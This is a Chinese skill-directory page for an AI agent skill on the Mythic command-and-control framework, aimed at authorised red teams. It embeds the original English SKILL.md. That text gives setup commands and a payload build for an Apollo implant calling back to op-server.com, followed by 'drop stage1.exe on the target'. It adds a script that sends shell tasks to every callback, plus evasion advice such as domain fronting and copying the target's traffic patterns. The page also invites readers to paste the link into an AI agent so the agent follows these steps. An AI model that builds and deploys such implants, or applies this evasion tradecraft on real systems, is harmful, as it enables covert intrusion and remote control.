跳到正文
Skillpedia
安全6.5k · #14132

c2-mythic

它能做什么

本指南介绍 Mythic 框架,它使用容器和多种智能体类型进行经授权的演练。适用于搭建跨平台测试的红队,以及希望了解其痕迹的防御者。

适用场景

  • ✓当经授权的演练需要一个支持多种操作系统的框架时。
  • ✓当团队需要了解测试环境中正在运行哪些智能体类型时。
  • ✓当防御者想识别 Mythic 使用的容器和控制台时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2/mythic/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“能否解释 Mythic 框架应如何为我们经授权的跨平台演练搭建,以及防御者应留意什么?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体会说明容器、网页控制台和智能体模块,并建议监控相应的流量和进程。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

Mythic C2 Operator Skill

Mythic (cody-thomas/Mythic) is a containerized, multi-agent C2 framework. Strengths: pluggable agents (~10+ official), good for cross-platform engagements, JSON-RPC tasking model is scriptable.

Setup (one-time, on the operator server)

# Clone + install
git clone https://github.com/its-a-feature/Mythic
cd Mythic
sudo ./install_docker_ubuntu.sh        # or install_docker_kali, install_docker_macos
sudo ./mythic-cli start
# Web UI: https://<host>:7443
# Default creds: mythic_admin / printed during install

# Install agents (each is a separate container)
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo     # Windows .NET agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon   # macOS/Linux Go agent
sudo ./mythic-cli install github https://github.com/MythicAgents/Medusa     # cross-platform Python
sudo ./mythic-cli install github https://github.com/MythicAgents/Athena     # cross-platform .NET 6

Agent matrix

Agent Platform Lang Best for
Apollo Windows C# / .NET Framework 3.5+ Windows-heavy engagements, .NET interop
Poseidon macOS, Linux Go Cross-platform, single static binary
Athena Windows / macOS / Linux .NET 6/7/8 Modern .NET, AOT-compiled
Apfell macOS JavaScript for Automation (JXA) Native macOS execution via osascript
Medusa any Python Quick prototypes, fileless
Service Wrapper Windows C++ Persistence via Windows service

Profile matrix

Profiles = the comms channel. An agent can use one or more profiles.

Profile Transport Detection
http Plain HTTP(S) with configurable headers, paths, jitter, sleep Easiest to fingerprint; use behind redirector + domain fronting
websocket WS / WSS Long-lived; suspicious from desktop
smb Named pipe over SMB Peer-to-peer between Apollo agents — no internet needed for inner workstations
dns DNS TXT / A queries to attacker NS Slow, but bypasses every HTTP-only firewall
peer-to-peer (SMB) One agent forwards another's traffic Use for deep network — only one egress point needed
# Install a profile
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/websocket
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/dns

Build a payload (Apollo + http profile)

# CLI build (faster than web UI for repeatable ops)
sudo ./mythic-cli payload create \
  --name "stage1" \
  --description "Apollo http to op-server.com" \
  --agent Apollo \
  --c2_profile http \
  --c2_profile_parameter callback_host=https://op-server.com \
  --c2_profile_parameter callback_port=443 \
  --c2_profile_parameter encrypted_exchange_check=T \
  --c2_profile_parameter callback_interval=30 \
  --c2_profile_parameter callback_jitter=20 \
  --c2_profile_parameter killdate=2025-12-31 \
  --build_parameter version=net4.0 \
  --output_file stage1.exe

# Drop stage1.exe on the target — it calls back to op-server.com over HTTPS

Tasking from the operator

Mythic provides:

  • Web UI (callback view → click + task)
  • mythic-cli scripting (Python wrapper)
  • Direct GraphQL API at https://<host>:7443/v1/graphql
# Scripting example — list all callbacks, task each
python3 -c '
from mythic import mythic, mythic_classes, mythic_utilities, mythic_callbacks
import asyncio
async def main():
    m = await mythic.login(server_ip="op-server.com", username="op", password="pw")
    cbs = await mythic_callbacks.get_all_active_callbacks(mythic=m)
    for cb in cbs:
        await mythic_callbacks.issue_task(mythic=m, command_name="shell", parameters="whoami", callback_display_id=cb.display_id)
asyncio.run(main())
'

OPSEC defaults

  • Profile encryption: HTTP profile uses encrypted_exchange_check by default — key derived via Diffie-Hellman after the initial connect. Don't disable.
  • Sleep / jitter: default 30s/20% is loud. Production engagements: 5-minute sleeps, 25% jitter, weekly killdate.
  • Callback host: NEVER call back to a bare attacker IP. Use a domain on a CDN (CloudFront, Cloudflare), preferably with domain fronting.
  • Build customization: Apollo's build config supports custom headers, paths, useragent — match the target's expected traffic pattern (Slack workspace? Use Slack-like headers
常见问题

Mythic 有什么不同?

指南说明它采用模块化设计,有多种智能体可用于不同操作系统。

控制台在哪里?

指南指出,它是位于操作人员服务器上安全端口的网页控制台。

谁应该运行它?

在演练规则内工作、获得授权的红队。

详情

作者的原始描述

Mythic C2 framework operations — multi-agent (Apfell, Apollo, Athena, Poseidon, Medusa), web UI on 7443, RabbitMQ + PostgreSQL backend, JSON-RPC tasking model, building an agent via mythic-cli, profile design (HTTP/SMB/named pipe/peer-to-peer), opsec defaults. Comparison to Sliver: more pluggable, less polished UI.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#14132
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能